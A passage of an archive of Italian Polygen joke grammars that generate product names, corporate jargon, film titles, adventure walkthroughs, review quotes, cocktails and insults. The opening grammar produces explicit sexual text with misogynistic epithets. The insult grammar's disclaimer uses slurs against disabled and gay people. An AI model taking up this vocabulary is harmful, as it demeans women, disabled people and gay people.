accarezzare | toccare | penetrare | saggiare ) OGGETTO e (capisco | mi rendo conto | mi accorgo | comprendo) che [anche] NOMEN si e' unito a (noi | me e a NOME) SEGNO.PU3 COMPLIMENTO mi (sussurrano | dicono | sospirano | urlano) SEGNO.PU3 [RISPOSTA ho detto io SEGNO.PU1]; PARTE6 ::= (RUTTI SEGNO.V)+ e RUTTI SEGNO.PU1 sono [gia'] le CIFRA di mattina SEGNO.PU3 ; CIFRA ::= 2|3|4|5|6|7|8|9 ; PARTE3 ::= [STRANO.F SEGNO.V] ho (osservato | guardato | immaginato | contemplato | ammirato) NOME SEGNO.PU3 AZIONE2 (AGG2 SEGNO.V)+ e AGGETTIVO SEGNO.PU3 ; STRANO ::= stran^(M:o|F:ita) | curios^(M:o|F:a) | arrapat^(M:o|F:a) | voglios^(M:o|F:a) | bavos^(M:o|F:a) | spaventat^(M:o|F:a) | mordace | nichilista ; NOME := NOMEN; NOMEN ::= \[gian^|pier^](ubaldo | ernesto | b^(a|o)^rtolo[^meo] | helder | salvatore | carmine | carmelo | vespasiano); AZIONE ::= mi sfiora | mi tocca | mi lecca | mi tasta | mi sente | mi saggia | mi penetra; AZIONE2 ::= mi vedo | mi guardo SEGNO.PU2 sono | mi penso | mi immagino ; ATTREZZO ::= la [sua] (sigaretta | carrucola | lingua | testa | barba) | il [suo] (cric | naso | (guerriero | coso | \gian^\(battista|tommaso) | sesso) | dito alluce | dito indice | dito medio | dito anulare | dito mignolo | piede ); OGGETTO ::= il sesso | il \segreto | il \mistero | la mia intimita' | il mio culo | le mie cosce | il mio seno ; COMPLIMENTO ::= " "SEGNO.VT^ \[(wow|accidenti|cazzarola|sticazzi|anvedi|li mortacci|porcoddue) SEGNO.V] ((come sei | sembri | sei proprio | se sei mai ) AGGETTIVO SEGNO.PUE | che bel (culo | ^le tette) SEGNO.PU3 posso (mordere | leccare | assaggiare | toccare | penetrare) SEGNO.PUI ) SEGNO.VT; AGGETTIVO ::= gnocca | porca | vacca | zoccola | topa | calda | fredda | frigida | puzzolente | inutile | maiala | stronza | troia | mignotta ; AGG2::= nuda | legata | bendata | sdraiata | spogliata | sporca | sudata | arrapata ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":" | PU3: ^"."\ | PUE: ^"!"\ | V: ^"," | VT: ^"\""\ | PUI: ^"?"\ ); RISPOSTA ::= " "SEGNO.VT^ \(fallo | tocca | mordi | lecca | usa | prendi | spingi | parla) (pure SEGNO.V ma con (giudizio | giustezza) | e basta) SEGNO.VT; RUTTI ::= sospiri | lamenti | grugniti | lacrime [silenziose] | --rutti | gemiti | godimento | urli ; polygen-1.0.6.ds2/grm/ita/beghelli.grm0000644000175000017500000000703610340417034017030 0ustar enricoenricoI ::= "title: Prodotti Beghelli\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "slogan: "^ogni soldo ( ++++risparmi | +bagn | +ragion | +stagion | disarm | disper | ripos | rovesci | +scamosci | scapigli | scudocroci | -rub ) ^ ato e' un soldo ( ++++guadagn | +fortun | +++magagn | debosci | disagi | svergogn | +rincagn | ++scalcagn | +scarogn | sfig ) ^ "ato\n" ^ "created: 19/09/2004" ; S ::= \ Prodotto.art ( _ | -"626" | ----"SOS" ) \beghelli ; Prodotto ::= \ ( (noart:_|art:il \) [tele^\] >( +++ salva (_|----^\allarma) ^ \ Cosa.(+++++art|noart).1.2.3.4.5.7.8.11.12.16.17.18 | + controlla ^ \ Cosa.noart.1.2.3.4.5.11.12.15.16.17.18 | metti^\a^\norma ^ \ Cosa.art.1.2.3.4.5.11.12.16.17 | proteggi (_|-------^\allarma) ^ \ Cosa.(art|noart).1.2.3.4.5.7.11.12.15.16.17 | ( vivi ^ \ Cosa.(art|noart).4.11.12.16 | risolvi ^ \ Cosa.noart.9.15.16 | -- respira ^ \ Cosa.(art|noart).10.11.12.16.18 | -- migliora ^ \ Cosa.(art|noart).1.2.3.4.5.11.12.15.16.17.18 | -- (rivela|rileva|--senti) (_|--^\allarma) ^ \ Cosa.noart.10.15.18 | ---- passa ^ \ Cosa.art.13 | ---- togli ^ \ Cosa.art.6 | ---- ritrova ^ \ Cosa.art.1.3.4.5.11.12.14.16.17.18 ) ). | (noart:[tele^\]|art:(l'|il \tele)^\) >( illumina ^ \ Cosa.(noart|-----art).1.2.3.4.5.11.12.15.16.17.18 | >( aiuta | avvisa | allarma | avverti ) ^ \ Cosa.(noart|-----art).2.3.4.5.11.12.15.16.17.18 | ( ( aspira | --- assaggia | + odora ) ^ \ Cosa.(-----art|noart).10.11.12.15.16.18 | ( acciuffa | accoppa | ammazza | annienta | arresta | uccidi ) ^ \ Cosa.noart.18 ) ). ) ; Cosa ::= ( 1: (noart:_|art:la^\) >( ++faccia | diga | bara | roba | cacca | droga | pippa | terra ) | 2: >( vescica | dentiera | +vecchietta | verginita' | baracca | caramba ) | 3: (noart:_|art:le^\) >( palle | scale | chiappe ) | 4: >( +cagate | gonadi | rapine | serate | budella | crimine | galline | +mutande | persone | +puttane | centrale | scemenze | contatore | emorroidi | stronzate | +vecchiette | sciocchezze ) | 5: >( cani | ladri | furti | vicini | sbirri | malati | +drogati | pianeti | +parenti | micetti | orifizi | genitali | pompieri | soccorsi | culo | bidet | cefalo | vicino | armadio | governo | piffero | impianto | computer ) | 6: >( dai^\guai | le^\castagne^\dal^\fuoco | la^\vita ) | 7: (noart:_|art:la^\) >( +++pelle | serata | virtu' ) | 8: >( apparenze | twin^\towers | in^\(corner|extremis) | con^\nome | gli^\ostaggi ) | 9: >( +++problemi | faccende | questioni | equazioni | serata ) | 10: >( +++++++++++++++gas | +++++metano | sars ) | 11: (noart:_|art:la^\) >( +++casa | ++++fi^(c|g)^a | sorca | +fregna | +++nonna | +++vita | merda ) | 12: >( azienda | immondizia | ---nonnina | tastiera ) | 13: >( la^\canna | la^\palla | a^\miglior^\vita ) | 14: >( ++++++++++++++++++ la^\fede | +++++++ la^\strada ) | 15: >( furt^(++o|i) | rapina | incendi[^o] | ----malor^(++e|i) | intrusioni ) | 16: >( gas | tutto | sicuro | ufficio | incendio | universo | soccorso ) | 17: >( +++vecchia | ++vista ["TV"] | +fiat | +gnocca | +minchia | passera | patria | suocera | suora ) | 18: >( ladr^(++o|i) | intrus^(++o|i) | rapi[^na]^tor^(++e|i) | terrorist^(a|+++i) ) ) ;polygen-1.0.6.ds2/grm/ita/manager.grm0000644000175000017500000001034410340417034016663 0ustar enricoenrico I ::= "title: Manager della New Economy\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim:" Marchio e Marchi sono marchi registrati di ( "Mulino Bianco" | "Barilla" | "Omnitel" | "Wind" | "San Carlo" | "Chupa & Chups" | "Saila" | "Doria" | "De Cecco" | "Sacla'" | "Mediaset" | "Pasta Jolly" | "La Molisana" | "Sile caldaie" | "De Longhi" | "Cepu" | "Mondadori" | "De Agostini" | "Santarosa" | "Ferrero" | "Perugina" | "Bauli" ) ("S.p.a." | "srl." | ^", Inc.") ^ "\n" ^ "created: 25/08/2002" ; Marchio ::= Java | Internet ; Marchi ::= Marchio [^"," Marchi] ; S ::= \Periodo.ind^"." ; Periodo ::= (Aux Verbo Ogg (---- _ | (con cui | e) [quindi | percio' | pertanto] Periodo.ind. | (>(di | in) modo che | affinche' | perche' | cosicche') Periodo.cong. | per [Verbo] Ogg ) ).(S|P) ; Aux ::= bisogn^(ind: (era' |- erebbe) | cong: i) | (ind: dovrem^(o |- mo) | cong: si debba (S: _ | P: ^no)) | (ind: potrem^(o |- mo) | cong: (possa | si possa) (S: _ | P: ^no)) | (ind: (e' | sara' |- sarebbe) | cong: sia) (necessario | bene | opportuno | possibile) ; Ogg ::= (Sostantivo Aggettivo).(M|F) | S: (lo sviluppo | il design) di Genitivo ; Sostantivo ::= M: >( (S: un | P: [dei]) >( sistem^(S:a | P:i) | tool | controll^(S:o | P:i) | progett^(S:o | P:i) | server | servizi (S:^o | P:_) | provider | portal^(S:e | P:i) ) | (S: un | P: [degli]) >(applicativ^(S:o | P:i) | engine | application server) ) | F: (S: una | P: [delle]) >( soluzion^(S:e | P:i) | strategi^(S:a | P:e) | applicazion^(S:e | P:i) | architettur^(S:a | P:e) | tecnologi^(S:a | P:e) | politic^(S:a | P:he) | piattaforma^(S:a | P:e) ) ; Aggettivo ::= >( [di Genitivo] Internet [^"-"^(based | oriented | like | native | mobile)] | "on-demand" | (on | off)^"-line" | "on-the-fly" | "out-of-the-box" | software | hardware | firmware | shareware | freeware | public domain | di rete | embedded | "auto-startanti" | "peer-to-peer" | "fine-grained" | "loosely-coupled" | enterprise | "e-" ^ ("Commerce" | "Business") ) | >( integrat | applicat | interattiv | globalizzat | massificat | computerizzat | informatizzat | faxat | proprietar ) ^ (M: (S: o | P: i) | F: (S: a | P: e)) | >(virtual | multimedial | gestional | performant | aziendal | visual) ^ (S: e | P: i) ; Internet ::= "Internet" | "Net" | "Web" | "Wap" | "MMS" | "SMS" | "WWW" | "GPRS" | "World Wide Web" | "B2B" | 3D | "B2C" | "ISDN" | "ADSL" | "Business" | "Consumer" | ["TCP/"^]"IP" | ("PGP" | "GPG") [^"-key"] ; Genitivo ::= software | hardware | >(app | serv)^let [Java] | "Information-retrieval" | acquisizione dati | ambienti | piattaforme | "Data-entry" | "Database" | (intelligenza artificiale | "AI") | (applicazioni | applicativi) [Java] | "Net-surfing" | pagine ("JSP" | "HTML" | "ASP" | "PHP" | "CGI"[^"-bin"] | "XML") ; Java ::= ["Enterprise"] "Java"[^"Bean"] | "J2EE" | "C++" | "C#" | ".Net" | "JMS" | "JNDI" | "EJB" | ["Shockwave" | "Macromedia"] "Flash" | "XML" ; Verbo ::= [re^]integrare | [re^]implementare | gestire | massimizzare | globalizzare | [ri^]definire | realizzare | minimizzare | [re^]iterare | surclassare | [ri^]monitorare | interagire con | [ri^]mappare | [ri^]configurare | [re^]installare | debuggare | testare | rilasciare | deployare | verticalizzare ; polygen-1.0.6.ds2/grm/ita/b-film.grm0000644000175000017500000001406010340417034016416 0ustar enricoenricoI ::= "title: Titolo di" (film | cazzata | lungometraggio)^" degli anni '70: \n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: embryonic\n" ^ "topic: film\n" ^ "audience: anybody\n" ^ "note: Mont e CUG ci hanno aggiunto qualcosa\n" ^ "created: 5/4/2005" ; S ::= "Quella" (Agg.A|Agg.B|Agg.C) "del" ^Nom.F tutta (Agg.A|Agg.B|Agg.C) e tutta (Agg.A|Agg.B|Agg.C) | "L"^Profession.F ( Dove | e Profession.M | senza Vestito ) | "L"^Profession.F (Cosafa.D Cosa "a" Profession.N ) | "Pierino" ( e ("l"^Profession.F|Professione.M) | Cosafa.P | Dove) | Nom.O^ona (Arto.M^Lung.M | Arto.F^Lung.F) | +++\ (Film [Sequel]).(num|anno); Film ::= anno: ( (+ vacanze | feste | ferie) di Festa | (X := Localita; X X) ) | num: ( scuola di Professione | Sostantivo e Sostantivo | (Nomi |--- tutti) contro (Nomi |--- tutti) ) ; Sequel ::= num: ("II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX") | anno: "'"^Cifra^Cifra ; Festa ::= natale | pasqua | ferragosto | capodanno | ognissanti | tuttimmorti | carnevale | halloween | "Santo Stefano" | quaresima | avvento | epifania ; Professione ::= polizia | ladri | pompieri | canto | delinquenti ; Cifra ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 ; Localita ::= "Ostia" ["Lido"] | "Rimini" | "Riccione" | "Fregene" | "Jesolo" ["Lido"] | "Viareggio" | "Versilia" | "Forte dei Marmi" | "Castel a mare di Stabia" | "Lignano" [sabbia d'oro] | "Porto" ("Cervo" | "Rotondo" | "Buffole'") | "San Tropez" | "Orosei" | "Capri" | "Ischia" | "Positano" | "Taormina" | "Lampedusa" | "Riace marina" | "Monasterace" [marina] | "Locri" | "Riace" [marina] ; Sostantivo ::= pane | tulipani | terapia | pallottole | bulli | pupe | fi[^a]^schi | pizza | fichi | spaghetti | krauti | wurstel | capre | cavoli | culo | camicia | braga | pappa | ciccia | dame | cavalieri ; Nome ::= "Dracula" [il vampiro] | "Frankenstein" | "i Giganti" | "Polifemo" | "Cicciolina" | "Ciccio" ["Ingrassia"] | "Franco" ["Franchi"] | "Ali' Baba'" | "i Quaranta Ladroni" | "i Dieci Comandamenti" | "il Corsaro Nero" | "Sansone" | "Cleopatra" | "l'Oro del Reno" | "i Nibelunghi" | "Sigfrido" | "Zio Paperone" | "Paperino" | "Nonna Papera" | "Qui, Quo, Qua" | "Gianni" | "Pinotto" | "Gaspare" | "Zuzzurro" | "Fantozzi" | "Fracchia" | "Pinocchio" | "Geppetto" | "il Grillo Parlante" | "Rintintin" | "Helder" | "l'Uomo Ragno" | "i Filistei" | "le Miniere di Re Salomone" | "i Pirati" | [il pirata] "Barba"^(blu | nera) | "Maria de Filippi" ; Nomi ::= Nome [[(^"," Nome)+] e Nome] ; Agg ::= A:( maiala | stronza | civetta | cazzona | simpaticona | grassona | scosciata | pignola | vacca | frigida) | B: (superba | nasona | perbene | nuda | allegra | putrida | molesta | arrapata | deficiente | sveglia | putrefatta) | C: (lorda | nuova | timida | ipermetrope | sola | piena | collerica | nevrotica | perbene | modesta); Nom ::= F:(^"l'Ubalda" | ^"l'Enrica" | la "Carmen" | ^"l'Ignazia" | ^"la Patatona" | ^"l'Ornella" | ^"la Nives") | O: ( "Enric" | "Giovann" | "Carl" | "Jessic" | "Valentin" | "Mart" | "Ann" | "Albert" | "Francesc" | "Fabi" | "Paol" | "Antoni" | "Giorgi" | "Patat" ) ; Profession ::= F: ("a dottoressa" | "'infermiera" | "a professoressa" | "a cameriera" | "a hostess" | "a studentessa" | "a direttrice" | "a capitana" | "a sott'ufficiale" | "a suora" | "a soldatessa") | M: ( il bidello | l'alpino | il soldato | il principe | lo scaricatore di porto | il professore | il preside | lo storpio | il vedovo | il vicino di casa | l'usciere | il portiere | l'addetto alle luci | il prete | il disoccupato | l'effemminato ) | N: ( "Mario" | "Carlo" | "Gino" | "Pino" | "Lino" | "Renato" | "Piero" | "Sanzio" | "Pompeo" | "Dondolino" | "Dario" | "Michele" ); Dove ::= "al distretto militare" | "a scuola" | "alla spiaggia nudista" | "a lezione privata" | "al bar" | "alla messa" | "in vacanza" | "al supermercato" | nell'albergo ; Vestito ::= mutande | pudore | reggiseno | l'oste | vergogna | pullover | malizia | soldi | notorieta' ; Cosa ::= le mutande |il pudore | il reggiseno | la vergogna | il pullover | la malizia | i soldi | la notorieta' ; Cosafa ::= P: (colpisce ancora | ne fa un'altra delle sue | la fa grossa | ^(", cosa hai fatto" Dove^ "?") | il simpaticone | l'esuberante) | D: ( cambia | serve | conta | salta | mangia | spolvera | collega | lecca | spia | lava ) ; Arto ::= (F: ("cosci" | "gamb" | "test" | "fig" | "bocc" | "panci" | "chiom" | "ascell" | "spall" ) | M: ( "nas" | "dit" | "orecchi" | "cul" | "call" | "coll" | "sen" | "uter" )) ^( F:a | M:o ) ; Lung::= (lung | larg | gross | sporc | nostr | ross | sincer | palestrat | tes | misterios | usat | indecis | farabutt | pubblic | derelitt | legger | destr | putrefatt )^( M:o | F:a ) ; Chi ::= "Mario" | "Carlo" | "Gino" | "Pino" | "Lino" | "Renato" | "Piero" | "Sanzio" | "Pompeo" | "Dondolino" | "Dario" | "Michele" ; polygen-1.0.6.ds2/grm/ita/amore.grm0000644000175000017500000000172610340417034016360 0ustar enricoenricoI ::= "title: Lettere d'amore\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: italian\n" ^ "status: complete\n" ^ "audience: romantici\n" ^ "comment: dedicato a tutte le frequentatrici di polygen.org\n" ^ "created: 7/9/2004"; (*********************************************************************) (*** ****) (*** ATTENZIONE ****) (*** ****) (*** E' vietata la copia anche parziale di questa grammatica ****) (*** ****) (*** Copyright (c) ^anakin^ 1980-2004 ****) (*** ****) (*********************************************************************) S ::= a|m|o|r|e;polygen-1.0.6.ds2/grm/ita/if.grm0000644000175000017500000002163510340417034015654 0ustar enricoenricoI ::= "title: Generatore di Soluzioni di Avventure Testuali.\n" ^ "author: Stefano 'Sting1' Stinga <sting1@moviereviews.it;>\n. Grazie a Tommaso Percivale per l'idea (e per il grasso contributo verbale, ndTommaso).\n" ^ "language: Italiano.\n" ^ "status: 1.0 - Primo tentativo...non rompete le balle se fa" ("cagare.\n" | "schifo.\n" | "pena.\n") ^ "topic: "("Interactive Fiction.\n" | "Avventure Testuali.\n") ^ "audience: "("Giocatori di avventure testuali in difficolta'.\n" | "Il Newsgroup it.computer.giochi.avventure.testuali\n") ^ "disclaim: Se la soluzione generata non vi aiuta a finire il gioco, la colpa e'" ("soltanto vostra.\n" | "di CarlNando\n") ^ "created: 26/04/2005" ; S ::= Frase1 Frase2 Frase3 Frase4 Frase5 Frase1 Frase6 Frase7 Frase8 Frase9 Frase5 Frase1; Direzione ::= ("Nord." | "Sud." | "Ovest." | "Est." | "Nord-est."| "Nord-ovest."| "Sud-est."| "Sud-ovest."); Oggetto ::= ("Il gatto CarlNando," | "Il cadavere del Papa,"| "le figurine del Papa," | "la candela sul tavolo,"| "le mutande sporche nel cassetto,"| "il vibratore nel cassetto,"| "le carte dei pokemon,"| "il libro di chimica del Prof. Van Stingerton,"| "il coltello,"| "la fune,"| "la chiave,"| "il lecca lecca sporco di cenere,"| "il fazzoletto sporco,"| "il bicchiere di Whiskey,"| "i pantaloni,"| "la rivista porno,"| "la pillola rossa,"| "il mappamondo,"| "il pezzo di legno,"| "il cavallo a dondolo fantasma,"| "la rana,"| "la zattera,"| "il secchiello,"| "il preservativo,"| "l'orologio nel letto,"| "la corona del re,"| "il forziere,"| "la cassa,"| "l'amuleto,"| "il paracadute,"| "il soldo di rame,"| "la maglietta di Ade,"| "il frullatore,"| "il manuale di ragioneria,"| "il cagnolino,"| "Pikachu,"| "il guanto,"| "questa soluzione,"| "gli occhiali,"| "la pozione,"| "il fiore,"| "il medaglione," "un pisuddolo,"| "un napoletano,"| "un'ocarina,"| "il forziere forzuto,"| "un soldo di cacio,"| "l'anima della nonna,"| "il cavedano,"| "la canna da pesca del nonno di Sampei,"| "il monociclo,"| "un proiettore a salve,"| "Dario Fo,"); Inv ::= ("la torcia"| "il foglio" | "il cacciavite"| "la matita"| "il bicchiere"| "la penna"| "la scatola"| "la cartina"| "il chewingum"| "il rilevatore di ordigni"| "la bomba"| "lo specchio"| "le cesoie"| "l'orologio"| "il pornone"| "il coupon"| "il secchio"| "la banana"| "la petizione"| "il manuale di ragioneria"| "il lattemiele"| "il diamante"| "la pergamena"| "il disco"| "il cagnolino"| "Pikachu"| "la granata"| "il guanto"| "questa soluzione"| "la pozione"| "il lecca lecca pulito"| "la provetta"| "il rotolo di garza"| "l'arnese"| "l'ammennicolo a molla"| "il cotton fioc"| "la copia di playboy"| "il libro di William Gibson"| "la gatta sul tetto che scotta"| "il portafogli"| "la panca in pietra"| "il rubinetto arrugginito"| "il cartello stradale"| "la stele rupestre"| "lo scaplello a molla"| "la luna di lana"| "la paste per pizze"| "il tuo He-Man"| "Skeletor"| "il naso di Cyrano"| "l'anello di Lucrezia Borgia"); Persona ::= ("a CarlNando" | "a BaR" | "al Percy" | "al Gaburri" | "a Sting1" | "a Jack T. Pallance" | "alla signorina Pinkerton" | "al bambino"| "a Zazie"| "al terrorista"| "al nano"| "a Berlusconi"| "a Armando"| "a Paolo Lucchesi"| "al custode"| "a RikTik"| "a Aragon"| "a Julia"| "a Joker"| "al troll"| "a Tommaso Caldarola"| "allo sceriffo Tom Clanton"| "al pianista"| "al re di Mydor"| "a Jois"| "alla chiromante"| "all'illusionista"| "a Scottex"| "al Replicatore"| "al capo"| "a Dumarteau"| "a Orlandi"| "al generale De La Rier"| "a Marco Grocetti"| "a Biagio Antonacci"| "a Hulk Hogan"| "a The Undertaker"| "a Shin"| "a Kenshiro"| "al commissario Basettoni"| "al professor Zapotec"| "a Eta-beta"| "al commissario Rex"| "ai Goonies"| "al feroce Saladino"| "al losco napoletano"); Azione ::= ("prega."| "guarda in alto."| "sputa."| "salta."| "ridi."| "piangi."| "aspetta."| "leggi le scritte."| "pensa."| "piscia."| "dormi."| "canta."| "afferra."| "respira."| "torci."| "picchia."| "spolvera."| "sciogli."| "riscuoti."| "taglieggia."); Azioneoggetto ::= ("Lecca"| "Mangia"| "Assaggia"| "Accendi"| "Spegni"| "Chiudi"| "Apri"| "Tocca"| "Sposta"| "Suona"| "Chiava"| "Compra"| "Slega"| "Seppellisci"| "Pulisci"| "Rompi"| "Uccidi"); Spell ::= ("Yrecros"| "Sorcery"| "Olucnaffav"| "Aracne"| "Radix"| "Ipnos"| "Pax"| "Crios"| "Adhaesus"| "Asor Banseo"| "Tanatu Egemon"| "Saurus Magnus"| "Vox"| "Quies"| "Iotaid"| "Bigmeow"| "Phobos"| "Igachico"); Luogofrom ::= ("dall'astronave" | "dalla stanza" | "dall'aeroporto" | "dal cimitero" | "dal saloon" | "dalla cabina" | "dalla biblioteca" | "dal castello" | "dal labirinto"| "dal bosco"| "dall'ufficio"| "dalla capsula"| "dal sottomarino giallo"| "dal labirinto della follia"| "dalla discoteca"| "dalla voragine"| "dalla metro"| "dal giardino"| "dalla chiesa"| "dalla scuola"| "dal cratere"| "dal bagno pubblico"| "dalla morgue"| "dalla pancia del basilisco"| "dalla cava"| "dal postribolo turco"| "dal vicolo ambiguo"| "dalla trattoria Agenore"| "dalla stanza della duchessa"| "dalla voragine"| "dalla tenda del nano"| "dal salotto del nano"| "dalla spiaggia del nano"| "dalla cuccia di Snoopy"); Luogoto ::= ("nella stanza." | "nell'aereo." | "nella cabina." | "nel bagno." | "nella caverna." | "nella biblioteca." | "nel saloon." | "nel cimitero." | "nel bar." | "nel labirinto." | "nel castello."| "nel salone."| "nella cucina."| "nel sottomarino giallo."| "nel labirinto della follia."| "nella discoteca."| "nella metro."| "nel giardino."| "nella scuola."); Frase1 ::= ("Vai a" Direzione "Entra" Luogoto | "Esci" Luogofrom "e vai a" Direzione); Frase2 ::= ("Raccogli" Oggetto "parla" Persona "e prosegui a" Direzione); Frase3 ::= ("Sali le scale e vai a" Direzione | "Scendi le scale e recati a" Direzione); Frase4 ::= ("Esamina" Oggetto "prendi" Inv "dall'inventario e vai a" Direzione); Frase5 ::= ("Apri la porta a" Direzione Azioneoggetto Oggetto "posa" Inv "e" Azione); Frase6 ::= ("Parla" Persona "e prendi" Oggetto "poi continua a" Direzione); Frase7 ::= ("Vai a" Direzione "Scendi le scale. Prosegui a" Direzione | "Vai a" Direzione "Sali le scale. Entra" Luogoto); Frase8 ::= (Azioneoggetto Oggetto "esamina" Oggetto "posa" Inv "ed esci" Luogofrom "a" Direzione); Frase9 ::= ("Pronuncia" Spell "e recati a" Direzione "Dai" Inv Persona "e vai a" Direzione); polygen-1.0.6.ds2/grm/ita/recensioni.grm0000644000175000017500000000755210340417034017416 0ustar enricoenrico I ::= "title: Citazioni da recensione\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 07/10/2002" ; S ::= "" ^ Citazione ^ "" "\n -" Fonte ; Fonte ::= "La Repubblica" | "Il Resto del Carlino" | "L'Avvenire" | "Il Giorno" | "Libero" | "L'Unita'" | "Il Manifesto" | "Panorama" | "L'Espresso" | ("La Gazzetta" | "Il Corriere") (della sera | dei piccoli | dello sport | del lavoratore | del mattino | del pomeriggio | della notte | del mezzogiorno ) | ("Il Sole" | "La Luna" | "Le Stelle") (12 | 24 | 36 | 48 | 8) ore | "Eva" (2 | 3 | 4 | 5)^000 | "Donna" [moderna] | "Il Giornale" | "Gioia" | "Grazia" | "Elle" | "Cosmopolitan" | "The Times" | "Rolling Stone" | "Melody Maker" | "TopGirl" | "Cioe'" | "Focus" ; Citazione ::= [\Esclam ^ "."] ("..."^ | \) ( il Eulogia Software mai (scritto | fatto | congegnato | pensato) per Ambiti.art [(dopo | (dai tempi | dal tempo) di) Programma] | [finalmente] la soluzione [definitiva] a tutti i [tuoi | vostri] problemi [di Problemi] | (tutti aspettavano | non si vedeva) un Software cosi' da [(^i tempi | ^l tempo) di] Programma | il Software che tutti {[si] aspettavano | desideravano | volevano} {[trepidanti | con ansia | disperatamente]} ) ^ "." [\Esclam ^ "."] ; Problemi ::= >Ambiti.NOart | inquinamento | sovrapopolazione | demagogia | retorica | anoressia | bulimia | diarrea ; Esclam ::= [semplicemente | praticamente | sostanzialmente] ( imperdibile | eccezionale | fantastico | meraviglioso | perfetto | brillante ) | ({[neg: non | aff: _] (vi deludera' | fatevelo mancare | perdetevelo)} {[neg: >(per nessun motivo | a qualunque costo) | a tutti i costi]} ).(neg|aff) ; Eulogia ::= miglior | peggior | (piu' | meno) >(importante | complesso | sofisticato | raffinato) ; Software ::= programma | software | tool | pacchetto | prodotto ; Ambiti ::= (art: la | NOart: _) >( coltivazione | cucina | collezione di (francobolli | farfalle | soldatini | lattine) | musica ( jazz | hardcore | [(prog | death | black | street | heavy | gothic) ^ "-" ^] (rock | metal | pop | rap) | classica | barocca | medievale | rinascimentale | provenzale | folk | popolare ) | pesca [di frodo] | caccia [grossa | di frodo] | bracconeria | pornografia ) | (art: il | NOart: _) >( giardinaggio | [taglio e] cucito | safari | "Web" | tantra |+ sesso [piu' sfrenato] | commercio | contrabbando ) | (art: l'^ | NOart: _) >( occult^(o | ismo) | esoterismo | alpinismo | industria (tessile | manifatturiera | metallurgica | pornografica | cinematografica) | avventura ) | >("Lui" | "Lei" | grandi e piccini | l'uomo | la donna) ; Programma ::= Nome (Rel | Ver) ; Rel ::= (6 | 7 | 8 | 9) ^ Cifra | (2 | 3 | 4) ^ 00 ^ Cifra | "XP" | "NT" | "X" ; Cifra ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Ver ::= Cifra ^ "." ^ Cifra [^ "." ^ Cifra] [^ (a | b | c | d)] ; Nome ::= "Word" | "Excel" | "Outlook" ["Express"] | "Publisher" | "Photoshop" | "Illustrator" | "Quark Express" | "Qbase" | "Cakewalk" | "Vegas" | "Rebirth" | "Reason" | "Dream Weaver" | "Flash MX" | "Internet Explorer" | "Mozilla" | "Netscape" | "Opera" | "AutoCAD" | "3D Studio" | "Maya" | "Office" ;polygen-1.0.6.ds2/grm/ita/cocktail.grm0000644000175000017500000000343110340417034017041 0ustar enricoenricoI ::= "title: Cocktail\n" ^ "author: Scettico <newjersey@tin.it>\n" ^ "language: italian\n" ^ "topic: misc\n" ^ "audience: anybody" ^ "created: 11/10/2003" ; S ::= Attributo Nome "-" (Alcool)^"," [(Alcool)^","] [(Ingrediente)^","](Ingrediente) e (Guarnizione); Attributo ::= "Jamaica" | "Cuba" | "Sardinia" | "Mexican" | "Ibiza" | "Manhattan" | "Monterey" | "Malibu" | "Long Island" | "Russian" | "Copacabana" | "Tequila" | "Brazil" | "Italian" | "Irish" | "Hawaiian" | "Yellow" | "Green" | "Red" | "White" | "Black" | "Pink" | "Frozen" | "Banana" | "Lemon" | "Mango" | "Strawberry" | "Orange" ; Nome ::= "Sunrise" | "Sunset" | "Libre" | "Ice Tea" | "Caipi" >(^rinha |^roska |^rissima ) | "Julep" | "Mojito" | "Alexander" | "Slammer" | "Daiquiri" | "Coffee" | "Lemonade" | "Margarita" | "Martini" | "Sour" | "Pina Colada" | "Shooter" | "Shooter" | "Punch" | "Screwdriver" | sbagliato ; Alcool ::= "Rum bianco" | "Tequila" | "Gin" | "Vodka" [al>(^la>(menta |pesca |fragola) | melone | limone )] | "Galliano" | "Curacao" | "Mezcal" | "Rum scuro" | "Whisky" | "Martini rosso" | "Martini bianco" | "Bitter" | "Assenzio" | "Sambuca" | "Porto" | "Grappa" | "Brandy" | "Batida" | "Spumante" | "Triple sec" | "Sangria" | "Birra" | "Cachaca" | --"Vov" | ---"Vin brule" | "Cointreau" | "Kahlua" | --"Calvados" ; Ingrediente ::= +"Coca Cola" | "Sprite" | -"Aranciata" | "Tonic" | "Lime" | "Latte" | "Granatina" | "Succo di" >(ananas | -mango | fragola | pera | mela | arancia | -papaya | -maracuja | ---pomodoro ) | "Panna" | --"Latte di cocco" | "Sciroppo di zucchero" | --"Ginger" ; Guarnizione ::= "Frutta fresca" | +"Ghiaccio tritato" | +"Soda" | "Cacao in polvere" | -"Oliva" | +"Foglie di menta" | +"Zucchero di canna" | --"Tabasco" | "Arancia" ; polygen-1.0.6.ds2/grm/ita/insulti.grm0000644000175000017500000000603710340417034016744 0ustar enricoenrico I ::= "title: Insulti d'autore\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: tutti quanti\n" ^ "disclaim: si serba rancore solamente nei confronti" (+ di "Vision-X" | dei >(down | mongoloidi | tetraplegici | gay) | degli >(handicappati | spastici) ) ^"\n" ^ "created: 01/08/2002" ; S ::= [(vecchio^"," | (- [la] madonna | [p^]orcoddue) se)] (Frase.(rifl|NOrifl) [2: Virgola | 3: Quello].NOindet.(rifl|NOrifl)).(2|-3) ^ (+ "!" | "?") ; Frase ::= >(non Essere [Nega] | >(a momenti | (un altro | ancora un) po' e) Essere) [Completamente] Insulto.(NOindet|indet) | Fare [Davvero] [da [stra^["-da"]]] Cagare | Avere [Davvero | Completamente] Rotto Minchia | Avere [Davvero] ( Merda.art (nel | dentro il |- all'interno del) Teschio | il Teschio (pieno | [in^]farcito | riempito | guarnito) di Merda.NOart ) ; Quello ::= quel (^lo | Insulto) [la'] | (que | ')^sto [Insulto] qua | 